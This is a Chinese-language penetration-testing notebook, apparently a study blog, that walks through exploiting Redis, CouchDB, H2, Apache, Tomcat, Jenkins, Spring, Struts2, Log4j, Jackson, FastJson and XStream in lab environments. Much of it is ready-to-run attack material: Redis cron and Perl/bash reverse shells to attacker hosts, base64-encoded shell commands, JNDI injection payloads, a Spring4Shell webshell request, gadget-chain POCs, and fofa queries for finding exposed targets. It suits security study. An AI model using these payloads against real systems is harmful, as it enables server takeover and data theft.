服务攻防

服务攻防
EZL1NG数据库安全
知识点
- 数据库 - Redis - 未授权 RCE&CVE
- 数据库 - Couchdb - 未授权 RCE&CVE
- 数据库 - H2database - 未授权 RCE&CVE
环境
Vulfocus (官方在线的无法使用)
搭建:
拉取镜像
1
docker pull vulfocus/vulfocus:latest
创建容器
1
docker run -d --restart=always -p port:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=ip vulfocus/vulfocus
- port处填写任意访问端口,注意不要和其他容器端口冲突
- ip处填写自己主机的ip地址
- 默认账户密码为 admin/admin
服务判断
- 端口扫描:利用服务开启后目标端口开放判断
- 组合判断:利用搭建常见组合分析可能开放服务
- 信息来源:访问端口提示软件版本,应用信息等
- 强弱特征:如框架 shiro 强特征 rememberMe,SpringBoot 默认页面等
对象类别
- 对服务进行类别划分,通过服务功能理解,如数据库有帐号密码就有爆破利用方法,也可以针对服务公开的 CVE 进行漏洞测试及服务常见的错误安全配置导致的未授权访问等。
利用方法
- 主要集中在 CVE 漏洞,未授权访问,弱口令爆破等
演示
Redis
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。 由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。
Redis Lua沙盒绕过 命令执行(CVE-2022-0543)
启动靶场后得到ip:port,注意为Redis为数据库,无网页。使用Redis-Tools进行连接,连接成功。
执行命令(id处为命令)
1
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
执行成功,存在未授权访问
fofa语法
1
port="6379" && protocol="redis"
注:数据包返回以下一般无此漏洞
1
2-ERR unknown command 'help', with args beginning with:
-NOAUTH Authentication required.
redis 未授权访问 (CNVD-2015-07557)
写 Webshell,使用Redis-Tools进行连接,执行以下命令
1
2
3
4
5config set dir /tmp #设置WEB写入目录
config set dbfilename 1.php #设置写入文件名
set test "<?php phpinfo();?>" #设置写入文件代码
bgsave #保存执行
save #保存执行- 注意:部分没目录权限读写权限
写定时任务反弹 shell
利用条件:Redis 服务使用 ROOT 账号启动,安全模式 protected-mode 处于关闭状态
config set dir /var/spool/cron set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n" config set dbfilename x save
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
3. 写入 Linux ssh-key 公钥
- 利用条件:Redis 服务使用 ROOT 账号启动,安全模式 protected-mode 处于关闭状态,允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
- ```
ssh-keygen -t rsa
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 目标IP -x set xxx
//以上步骤在自己的攻击机器上执行
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
cd /root/.ssh/
ssh -i id_rsa root@目标IP
自动化项目
项目 GitHub 地址:https://github.com/n0b0dyCN/redis-rogue-server
利用:
1
python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP
Couchdb
Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。 在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。
couchdb 命令执行 (CVE-2017-12636)
漏洞利用项目地址:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
修改项目中的目标地址以及攻击机即可
1
2target = 'http://ip:26124'
command = rb"""sh -i >& /dev/tcp/攻击机ip/39888 0>&1"""
couchdb 权限绕过 (CVE-2017-12635)
发现{“couchdb”:”Welcome”,”version”:”2.1.0”,”features”:[“scheduler”],”vendor”:{“name”:”The Apache Software Foundation”}}
发送数据包创建用户
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17PUT /_users/org.couchdb.user:xiaodi HTTP/1.1
Host: 47.94.236.117:44389
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "SuYou",
"roles": ["_admin"],
"roles": [],
"password": "suyou"
}然后访问/_utils/#login,登录即可。
H2database
Java SQL 数据库 H2。H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。
h2database RCE(CVE-2022-23221)
H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+ 中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含 IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT 子字符串的 jdbc:h2:mem JDBC URL 执行任意代码
访问可以看到
未授权进入
直接在 JDBC URL 处填入以下内容即可无需用户密码进入数据库1
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
RCE 执行反弹
在自己服务器上创建数据库文件:h2database.sql,内容如下1
2
3
4
5CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';反弹指令示例
1
bash -i >& /dev/tcp/x.x.x.x/6666 0>&1
在服务器上启动提供 SQL 文件远程加载服务,python,或者 apache 之类的都可以
1
python3 -m http.server 端口
在服务器上启动监听端口
1
nc -lvvp 6666
在靶场访问的界面 JDBC URL 处填入 Payload 使其加载远程 SQL
1
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://搭建的IP:端口/h2database.sql';\
自己的服务器成功获取到 shell
中间件安全
知识点
- 中间件 - IIS - 短文件 & 解析 & 蓝屏等
- 中间件 - Nginx - 文件解析 & 命令执行等
- 中间件 - Apache-RCE & 目录遍历 & 文件解析等
- 中间件 - Tomcat - 弱口令 & 文件上传 & 文件包含等
- 应用 WPS-HW2023-RCE & 复现 & 上线 CS
- 中间件 - Weblogic-CVE & 反序列化 & RCE
- 中间件 - Jenkins-CVE&RCE 执行
- 中间件 - Jetty-CVE & 信息泄漏
演示
Nginx
CVE_2021_23017
Apache
Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器。
apache 远程代码执行 (CVE-2021-42013)
该服务器具有快速、可靠且可通过简单的API进行扩充的特点,发现 Apache HTTP Server 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,而不影响更早版本。
curl
1
curl -v --path-as-is http://192.168.3.13:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
抓包
GET1
2
3
4
5
6
7
8
9GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
Host: 160.30.231.155:36752
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive返回
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30HTTP/1.1 200 OK
Date: Sat, 24 May 2025 03:53:07 GMT
Server: Apache/2.4.50 (Unix)
Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
ETag: "39e-5cceec7356000"
Accept-Ranges: bytes
Content-Length: 926
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologinPOST
1
2
3
4
5
6
7
8
9
10
11
12
13POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host:
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
echo; whoami返回
1
2
3
4
5
6
7
8HTTP/1.1 200 OK
Date: Sat, 24 May 2025 03:51:26 GMT
Server: Apache/2.4.50 (Unix)
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 7
daemon反弹shell,发包。
1
echo;perl -e 'use Socket;$i="ip";$p=39888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Tomcat
CVE-2017-12615 文件上传
当存在漏洞的 Tomcat 运行在 Windows/Linux 主机上, 且启用了 HTTP PUT 请求方法( 例如, 将 readonly 初始化参数由默认值设置为 false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的 webshell 文件,JSP 文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限。
影响版本:Apache Tomcat 7.0.0 - 7.0.81‘
利用
使用 bp 发 put 包,数据为 jsp 后门代码,可以右键 Paste from file,然后选择后门文件 1.jsp 即可
1 | # 基于Linux |
CVE_2020_1938 文件包含
- Apache Tomcat AJP 协议(默认 8009 端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器 webapp 目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。
漏洞影响的产品版本包括: - 影响版本:
- Tomcat 6.*
- Tomcat 7.* < 7.0.100
- Tomcat 8.* < 8.5.51
- Tomcat 9.* < 9.0.31
利用
利用项目 GitHub 地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
注意为python2
1 | Python2.7\python2.exe CNVD-2020-10487-Tomcat-Ajp-lfi.py 攻击机ip -p yourport -f WEB-INF/web.xml |
Weblogic
- Weblogic 是 Oracle 公司推出的 J2EE 应用服务器。
- 探针默认端口:7001
自动化工具
WeblogicTool 的 GitHub 地址:https://github.com/KimJun1010/WeblogicTool
fofa 搜索语法:
1
"Error 404-Not Found" && port="7001"
Jenkins
- Jenkins 是一个开源软件项目,是基于 Java 开发的一种持续集成工具,用于监控持续重复的工作。
- 探针默认端口:8080
利用
fofa 搜索语法:
1
app="Jenkins"
老爷头为标志
CVE_2017_1000353
漏洞影响版本
所有 jenkins 主版本均受到影响 (包括 <=2.56 版本)
所有的 jenkins LTS 均受到影响 (包括 <=2.46.1 版本
过程:
1
2
3
4
5
6
7# 1.生成反弹shell命令
bash -i >& /dev/tcp/攻击机ip/端口 0>&1
# 2.将base64编码过后的命令填入生成jenkins_poc.ser,这里java建议使用JDK-1.8.0_291
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzY2ODggMD4mMQ==}|{base64,-d}|{bash,-i}"
# 3.使用python启动epxploit.py,加上网站和jenkins_poc.ser
python exploit.py http://靶机ip:54217 jenkins_poc.ser
# 4.攻击机监听 反弹的shell
CVE-2018-1000861
漏洞影响版本:Jenkins2.153 及更早版本,LTS2.138.3 及更早版本
利用项目地址:https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
利用:
1
2
3
4
5
6
7
8# 1.将反弹shell命令写入到服务器下shell.txt
bash -i >& /dev/tcp/攻击机ip/端口 0>&1
# 2.在攻击机启动web服务,可访问到shell.txt
python3 -m http.server 端口
# 3.先使目标远程下载shell.txt文件并保存
python2 exp.py http://靶机ip:52281/ "curl -o /tmp/1.sh http://攻击机ip:端口/shell.txt"
# 4.再使目标执行下载的文件
python2 exp.py http://靶机ip:52281/ "bash /tmp/1.sh"
Jetty
- Jetty 是一个开源的 servlet 容器,它为基于 Java 的 Web 容器提供运行环境。
jetty 敏感信息泄露 (CVE-2021-28169)
- 对于 <= 9.4.40、<= 10.0.2、<= 11.0.2 的 Eclipse Jetty 版本,对带有双重编码路径的 ConcatServlet 的请求可以访问 WEB-INF 目录中的受保护资源。例如,对
/concat?/%2557EB-INF/web.xml
的请求可以检索 web.xml 文件。这可能会泄露有关 Web 应用程序实施的敏感信息。
jetty 敏感信息泄露 (CVE-2021-34429)
对于 Eclipse Jetty 版本 9.4.37-9.4.42、10.0.1-10.0.5 和 11.0.1-11.0.5,可以使用一些编码字符来制作 URI 以访问 WEB-INF 目录的内容和 / 或绕过一些安全限制。这是 CVE-2021-28164/GHSA-v7ff-8wcx-gmc5 中报告的漏洞的变体。访问 /% u002e/WEB-INF/web.xml 可以绕过安全限制,读取到 webxml 内容.
路径就是下面这 5 个,都试一下就行了
1
2
3
4
5/%2e/WEB-INF/web.xml
/.%00/WEB-INF/web.xml
/%u002e/WEB-INF/web.xml
/static?/WEB-INF/web.xml
/a/b/..%00/WEB-INF/web.
开发框架安全
知识点
- PHP - 框架安全 - Thinkphp&Laravel
- J2EE - 框架安全 - SpringBoot&Struts2
常见语言开发框架
- PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend 等
- Thinkphp 占百分之 80,Laravel 占百分之十几
- YII 国外比较多
- JAVA:Spring MyBatis Hibernate Struts2 Springboot 等
- 早期 (17 年之前) 为 Struts2 (漏洞最多,去年都有爆,但用的比较少了)
- 中间过渡 (17-20、21) 为 Spring
- 当下 (21 之后) 最流行 Springboot
- Python:Django Flask Bottle Turbobars Tornado Web2py 等
- Javascript:Vue.js Node.js Bootstrap JQuery Angular 等
注意:组件在框架之下,可以认为是插件
PHP框架安全
Laravel
- Laravel 是一套简洁、优雅的 PHP Web 开发框架 (PHP Web Framework)。
CVE-2021-3129 RCE
影响版本:Laravel <= 8.4.2
利用:CVE-2021-3129:https://github.com/zhzyker/CVE-2021-3129
1
python3 exp.py http://靶机ip:port
也可使用phpggc
Thinkphp
- ThinkPHP 是一套开源的、基于 PHP 的轻量级 Web 应用开发框架
- Thinkphp 最新为version8。
自动化利用工具
项目地址:
https://github.com/Lotus6/ThinkphpGUI
J2EE框架安全
Struts2
- Apache Struts2 框架是一个使用 JavaEE 网络应用程序的 Web 框架。可能存在 OGNL 表达注入扩展,从而造成远程代码执行,风险极大。
特征
- url 结尾可能以.action 结尾
CVE-2020-17530
- 影响版本:Apache Struts 2.0.0 - 2.5.25
利用项目 GitHub 地址:https://github.com/YanMu2020/s2-062
使用方式:
1 | python .\s2-062.py --url http://ip:port/ |
Struts2 代码执行 (CVE-2021-31805)
- 影响版本:Apache Struts 2.0.0 - 2.5.29
1 | Post: /s2_062/index.action |
- rce在echo后的url编码
1 | bash -i >& /dev/tcp/ip/port 0>&1 |
SpringBoot
Spring Boot 目录遍历 (CVE-2021-21234)
影响版本
- Spring-boot-actuator-logview 0.2.13 之前版本
存在路径遍历漏洞,攻击者可通过该缺陷读取系统任意文件。
特征
- 黑盒中没办法直接看出来,需要直接盲打,白盒需要看是否引用以及版本对应
靶场
- GitHub 下载地址:https://github.com/cristianeph/vulnerability-actuator-log-viewer
- vulfocus 中的 Spring Boot 目录遍历 (CVE-2021-21234)
1 | http://47.98.193.176:8908/manage/log/view?filename=etc/passwd&base=../../../../../../ |
Spring Cloud Function Spel 表达式注入 CVE-2022-22963
Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。
影响版本
- 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
资产确定
- app=”vmware-SpringBoot-framework“
POC
https://github.com/hktalent/spring-spel-0day-poc
1 | spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("calc") |
1 | POST:/functionRouter |
修改 exec 中的 base64 编码的命令即可。
Spring Framework 远程代码执行漏洞 CVE-2022-22965
Spring Framework 是一个开源应用框架,初衷是为了降低应用程序开发的复杂度,具有分层体系结构,允许用户选择组件,同时还为 J2EE 应用程序开发提供了一个好用的框架。
影响版本
- Spring Framework < 5.3.18,Spring Framework < 5.2.20
- Spring Framework 的衍生框架构建的网站或应用
EXP
1 | GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22suyou%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=suyou&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 |
访问 jsp 触发后门:http://ip:port/suyou.jsp?pwd=suyou&cmd=whoami
工具项目
GitHub 地址:https://github.com/BobTheShoplifter/Spring4Shell-PoC
利用:
1
2
3
4# 生成后门代码
python poc.py --url=http://192.168.44.131/
# 访问后门jsp
http://192.168.44.131/tomcatwar.jsp?pwd=j&cmd=whoami
Spring boot 命令执行 (CVE-2022-22947)
Spring Cloud Gateway 是 Spring 中的一个 API 网关。
影响版本:
- Spring Cloud Gateway 3.1.x < 3.1.1
- Spring Cloud Gateway 3.0.x < 3.0.7
- 其他旧的、不受支持的 Spring Cloud Gateway 版本
漏洞复现参考文章:https://cloud.tencent.com/developer/article/2164533
综合 CVE 利用工具
SpringBootExploit 项目地址:
https://github.com/0x727/SpringBootExploit
建议使用低版本 java 启动
1
jdk1.8.0_112\bin\java.exe -jar .\SpringBootExploit-1.3-SNAPSHOT-all.jar
SpringBoot-Scan-GUI 项目地址:https://github.com/13exp/SpringBoot-Scan-GUI
开发组件安全
知识点
- J2EE - 组件安全 - Solr - 全文搜索
- J2EE - 组件安全 - Shiro - 身份验证
- J2EE - 组件安全 - Log4J - 日志记录
- J2EE - 组件 Jackson - 本地 demo&CVE
- J2EE - 组件 FastJson - 本地 demo&CVE
- J2EE - 组件 XStream - 本地 demo&CVE
- Java 语言常见开发组件
- Apache Solr、Apache Shiro、Apache Struts2、Apache Flink、Flume、Dubbo、Redis、Logstash、ElasticSearch、Kafka、Ghidra、Minecraft、Apache hive、Datax、Streaming、Dolphin Scheduler、Storm、Spring、Aibaba FastJson、Jackson、Log4J、XSteam 等。
J2EE组件 Solr
介绍
- 主要基于 HTTP 和 Apache Lucene 实现的全文搜索服务器。
- 历史漏洞:https://avd.aliyun.com/search?q=Solr
- 黑盒特征:图标 (有点像华为的那么一个图标) 及默认端口 8383
CVE
CVE-2019-17558
影响版本:Apache Solr 5.0.0 版本至 8.3.1
利用项目地址:
https://github.com/jas502n/solr_rce
1
python2 solr_rce.py http://192.168.159.128:47772 id
远程命令执行漏洞 (CVE-2019-0193)
靶场环境下载地址:https://vulhub.org/#/environments/solr/CVE-2019-0193/
利用条件
Apache Solr < 8.2.0 版本
条件 1:Apache Solr 的 DataImportHandler 启用了模块 DataImportHandler (默认不会被启用)
条件 2:Solr Admin UI 未开启鉴权认证。(默认情况无需任何认证)
- 开启后访问上面这个页面需要登录
Apache Solr 文件读取 & SSRF (CVE-2021-27905)
全版本官方拒绝修复漏洞
利用:
获取数据库名
1
http://192.168.159.128:32164/solr/admin/cores?indexInfo=false&wt=json
若这里返回如下,则无法复现,若正确返回,则可以获取到数据库名称
1
{ "responseHeader":{ "status":0, "QTime":0}, "initFailures":{}, "status":{}}
访问触发,将 demo 处替换为第一步获取到的数据库名称
1
2
3curl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
$'http://47.94.236.117:8983/solr/demo/config'任意文件读取,将 demo 处替换为第一步获取到的数据库名称
1
curl -i -s -k 'http://47.94.236.117:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
J2EE - 组件 Shiro
简介
了解
- Java 安全框架,能够用于身份验证、授权、加密和会话管理。
- 历史漏洞:https://avd.aliyun.com/search?q=Shiro
- 黑盒特征:数据包 cookie 里面 rememberMe
面试问题:shiro 有 key 无链,利用项目中有的或者 java 常规自带的链进行构造,无回显只能带外
CVE
CVE_2016_4437 Shiro-550+Shiro-721
- 影响范围:Apache Shiro <= 1.2.4
- 工具箱利用项目直接梭哈
身份认证绕过漏洞
CVE-2020-11989
- 在进行验证的路径 (即要鉴权的路径) 后面添加 /%20 即可绕过验证
- Poc:/admin/%20
- 影响范围:Apache Shiro < 1.7.1
CVE-2020-1957
- 在进行验证的路径 (即要鉴权的路径) 前面添加 /xxx/..;/ 即可绕过验证
- Poc:/xxx/..;/admin/
- 影响范围:Apache Shiro < 1.5.3
CVE-2022-32532
- Poc: /permit/any
- /permit/a%0any 可绕过
- 需要依赖代码具体写法,无法自动化,风险较低。
- 影响范围:Apache Shiro < 1.9.1
J2EE - 组件 Log4j
简介
- Apache 的一个开源项目,是一个基于 Java 的日志记录框架。
- 历史漏洞:https://avd.aliyun.com/search?q=Log4j
- 黑盒特征:一般都是盲打
- 会问蓝队攻击特征(${jndi:rmi:///osutj8})
CVE
Log4j2 远程命令执行(CVE-2021-44228)
漏洞影响的产品版本包括:Apache Log4j2 2.0 - 2.15.0-rc1
利用条件:
- 首先是版本符号
- 其次是写法,若对方为 logger.error 则存在漏洞,若为 logger.info 则不存在
- 最后是 logger.error (变量),这个变量为我们可控制的,若写死,也不行
利用:
生成反弹 Shell 的 JNDI 注入
1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4wLjEwMi83NzQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.159.128
构造 JNDI 注入 Payload 提交
1
${jndi:rmi://192.168.159.128:1099/inisdd} %24%7Bjndi%3Armi%3A%2F%2F192.168.159.128%3A1099%2Finisdd%7D
实战中通常会将 payload 随便插,凡是有变量参数的地方都插入 payload,通常是用命令访问 dnslog
J2EE - 组件 Jackson
简介
- 当下流行的 json 解释器,主要负责处理 Json 的序列化和反序列化。
- 历史漏洞:https://avd.aliyun.com/search?q=Jackson
CVE
代码执行 (CVE-2020-8840)
漏洞类型
- JDNI 注入导致 RCE
漏洞原理
- 2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2
- 这里写的虽然是截止到 2.9.10.2,但是测试时使用的是 2.10.1,依旧执行成功
- Fasterxm l jackson-databind 的 2.0.0 到 2.9.10.2 版本缺乏某些 xbean-reflect/JNDI 黑名单类
例如org.apache.xbean.propertyeditor.JndiConverter
,可导致攻击者使用 JNDI 注入实现远程命令执行。
漏洞条件
- 开启 enableDefaultTyping ()
- 使用了 org.apache.xbean.propertyeditor.JndiConverter 第三方依赖
测试
- demo 使用到了 jackson
- 并且使用 jackson 去解析数据
- json 数据可控 (攻击替换 json 数据,payload 进行 jndi 注入攻击)
修改下面中的 ldap 实现 jndi 注入 rce
1 | String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]"; |
代码执行 (CVE-2020-35728)
漏洞原理
- FasterXML jackson-databind 2.x < 2.9.10.8
测试
修改下面中的 ldap 实现 jndi 注入 rce,这里的话我用的是 ldap 才复现出来,小迪的好像 rmi 就可以
1 | String payload = "[\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"ldap://192.168.159.128:1389/h4m6jt\"}]"; |
J2EE - 组件 FastJson
简介
- 阿里巴巴公司开源的 json 解析器,它可以解析 JSON 格式的字符串,支持将 JavaBean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
- 历史漏洞:https://avd.aliyun.com/search?q=fastjson
测试
利用 POC fastjson_payload 汇总:https://github.com/kezibei/fastjson_payload
FastJson <= 1.2.24
之前搭建过的 javasec-0.0.1-SNAPSHOT.jar 这个靶场的 Fastjson 就是这个 poc
1 | String payload = "{\r\n" |
FastJson <= 1.2.47
1 | String payload = "{\r\n" |
FastJson <= 1.2.80
- 高版本利用 poc 只能用项目中调用的组件和类文件,所以实战中只能用依赖 (调用引用库),然后再调用远程 url 的 jar 包从而实现 RCE
- 有源码的情况 (白盒) 下调用引用库中的类文件和方法,或者用已知常见类生成,以下为引用 groovy 调用远程 jar 包的一个示例
- 黑盒只能盲猜
- jar 包写法可参考:
1 | String poc1 = "{\n" + |
J2EE - 组件 XStream
简介
- 开源 Java 类库,能将对象序列化成 XML 或 XML 反序列化为对象
历史漏洞:https://avd.aliyun.com/search?q=XStream
CVE
代码执行 (CVE-2021-21351)
漏洞版本
- Xstream<=1.4.15
演示靶场
- vulfocus 靶场 xstream 代码执行 (CVE-2021-21351)
利用
生成反弹 Shell 的 JNDI 注入 9999 端口
1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA4Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.159.128
构造 JNDI 注入 Payload 以 POST 提交
POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
<m__DTMXRTreeFrag>
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
<m__size>-10086</m__size>
<m__mgrDefault>
<__overrideDefaultParser>false</__overrideDefaultParser>
<m__incremental>false</m__incremental>
<m__source__location>false</m__source__location>
<m__dtms>
<null/>
</m__dtms>
<m__defaultHandler/>
</m__mgrDefault>
<m__shouldStripWS>false</m__shouldStripWS>
<m__indexing>false</m__indexing>
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://192.168.159.128:1099/sg2nbo</dataSource>
<listeners/>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</fPullParserConfig>
